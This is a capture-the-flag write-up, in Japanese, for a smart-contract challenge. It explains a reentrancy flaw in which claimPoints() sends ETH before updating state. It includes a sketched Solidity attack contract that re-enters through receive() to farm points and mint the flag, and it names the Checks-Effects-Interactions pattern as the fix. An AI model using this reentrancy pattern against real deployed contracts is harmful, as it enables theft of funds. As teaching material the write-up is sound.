Skip to content
On this page

S1C5: Give Me My Points!

1. 問題

コントラクトにはポイントシステムがあります:claimPoints() は毎回 +1 ポイント、upgradeLevel() はポイントを消費してレベルアップします。flag をミントするには特定の条件(ポイント × レベル)を満たす必要があります。コントラクトは単一の points 変数を使用します。

2. 原因

claimPoints() 関数は、points の状態を更新する前に外部呼び出し(ETHの送金)を行います。これにより、攻撃者は receive() コールバックを通じて claimPoints() に再入し、状態が更新される前に繰り返しポイントを取得できます。

3. 方案

攻撃用コントラクトをデプロイし、リエントランシー攻撃を利用します:

solidity
contract S1C5Solution {
    function solve() external {
        challenge.claimPoints(); // リエントランシーループを開始
        // ポイントが十分に蓄積された
        challenge.upgradeLevel();
        challenge.mintFlag();
    }

    receive() external payable {
        if (points < TARGET) {
            challenge.claimPoints(); // 再入
        }
    }
}

4. 遭遇したトラップ

リエントランシー回数の制御: receive() 内で再入回数を正確に制御し、ガス切れを防ぐ必要があります。

5. トラップの原因

再入のたびにガスが消費されます。ループ回数が多すぎると、ブロックのガスリミットを超える可能性があります。ループ内にカウンターを追加し、目標回数に達したら停止する必要があります。

6. 解決方法

攻撃用コントラクト内でカウンター変数を使用し、receive() 内でカウンターをチェックして目標回数に達したら再入を停止します。

7. 技術ポイント

ポイント説明
リエントランシー攻撃 (Reentrancy)外部呼び出しが状態更新の前に実行されることで、攻撃者が同じ関数に繰り返し入ることが可能になる
CEI パターンChecks-Effects-Interactions:最初に状態を更新し、その後外部呼び出しを行うべき
ガス管理リエントランシーループはガスリミット超過を避けるため回数を制御する必要がある

Built with AiAda